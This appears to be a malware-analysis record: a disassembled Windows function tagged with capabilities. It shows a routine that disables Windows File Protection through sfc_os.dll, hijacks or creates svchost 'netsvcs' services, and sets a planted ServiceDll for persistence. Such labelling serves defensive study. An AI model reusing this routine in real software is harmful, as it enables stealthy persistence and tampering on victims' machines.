Function at 0x40166e
Capabilities:
Bypass windows file protection
Create service
Persist via windows service
Query or enumerate registry value
Query service status
Start service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x6f0
and dword [ebp - 0x18], 0
and dword [ebp - 0x34], 0
and dword [ebp - 0xc], 0
and dword [ebp - 8], 0
and dword [ebp - 0x2c], 0
and dword [ebp - 0x1c], 0
and dword [ebp - 0x14], 0
and dword [ebp - 0x10], 0
and dword [ebp - 0x28], 0
and dword [ebp - 0x30], 0
and dword [ebp - 4], 0
and dword [ebp - 0x20], 0
push dword [0x412304]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [ebp - 0x30], eax
push 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
call fcn.004011a6
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 4], eax
push str.sfc_os.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
je 0x4016fc
cmp dword [0x41252c], 5
jbe 0x401706
jmp 0x40189f
push 5
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
and dword [ebp - 0x24], 0
and dword [ebp - 0x43c], 0
jmp 0x40172e
mov eax, dword [ebp - 0x43c]
inc eax
mov dword [ebp - 0x43c], eax
push dword [ebp - 0x43c]
push 0
push 0x40
lea eax, [ebp - 0x480]
push eax
call fcn.00402c45
cmp eax, 0xffffffff
jne 0x401764
cmp dword [ebp - 0x24], 0
jne 0x40175f
mov dword [ebp - 0x24], 1
or dword [ebp - 0x43c], 0xffffffff
jmp 0x401721
jmp 0x40189f
push dword [ebp - 0x43c]
push 1
push 0x40
lea eax, [ebp - 0x4c0]
push eax
call fcn.00402c45
push 0x104
push 0
lea eax, [ebp - 0x5e8]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4c0]
push eax
push 0x412420
push str._s_s.dll
lea eax, [ebp - 0x5e8]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x4126f0
lea eax, [ebp - 0x4c0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x4017cc
jmp 0x401721
push 0xf01ff
lea eax, [ebp - 0x480]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4017ef
jmp 0x401721
push 0x1c
push 0
lea eax, [ebp - 0x4dc]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x4dc]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
cmp dword [ebp - 0x4d8], 1
je 0x40183f
cmp dword [ebp - 0x24], 0
jne 0x401825
jmp 0x401891
lea eax, [ebp - 0x4dc]
push eax
push 1
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
jne 0x40183f
jmp 0x401891
push dword [ebp - 8]
push dword [ebp - 0x2c]
push dword [ebp - 0x34]
lea eax, [ebp - 0x5e8]
push eax
call fcn.004013c1
test eax, eax
jne 0x40185c
jmp 0x401891
push 0
push 0
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp eax, 1
jne 0x401891
push 0xfa0
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x401891
mov dword [ebp - 0x18], 1
jmp 0x401a35
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jmp 0x401721
push 0x400
push 0
lea eax, [ebp - 0x438]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.Svchost
push dword [0x40fbac]
push 0x40c3c4
lea eax, [ebp - 0x438]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x10]
push eax
push 1
push 0
lea eax, [ebp - 0x438]
push eax
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x14], 0x400
push 0x400
push 0
lea eax, [ebp - 0x438]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x438]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push str.netsvcs
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x438]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movsx eax, byte [eax]
test eax, eax
je 0x401a35
push 0x4126f0
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40195f
jmp 0x40193d
push 0
push 0
push 0
push 0
push 0
push str._SystemRoot_System32_svchost.exe__k_netsvcs
push 1
push 2
push 0x20
push 0x10
push dword [ebp - 0xc]
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x401a14
push dword [ebp - 0xc]
push 0x412420
push str._s_s.dll
lea eax, [ebp - 0x6f0]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x6f0]
push eax
push str.ServiceDll
push str.Parameters
push dword [ebp - 0xc]
call fcn.00401583
push dword [ebp - 8]
push dword [ebp - 0x2c]
push dword [ebp - 0x34]
lea eax, [ebp - 0x6f0]
push eax
call fcn.004013c1
test eax, eax
jne 0x4019e5
jmp 0x401a14
push 0
push 0
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
cmp eax, 1
jne 0x401a14
push 0xfa0
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x401a14
mov dword [ebp - 0x18], 1
jmp 0x401a35
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0xc]
lea eax, [ecx + eax + 1]
mov dword [ebp - 0xc], eax
jmp 0x40193d
push dword [ebp - 0x30]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x20]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
cmp dword [ebp - 0x34], 0
je 0x401a66
push 0x8000
push 0
push dword [ebp - 0x34]
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp - 0x18]
leave
ret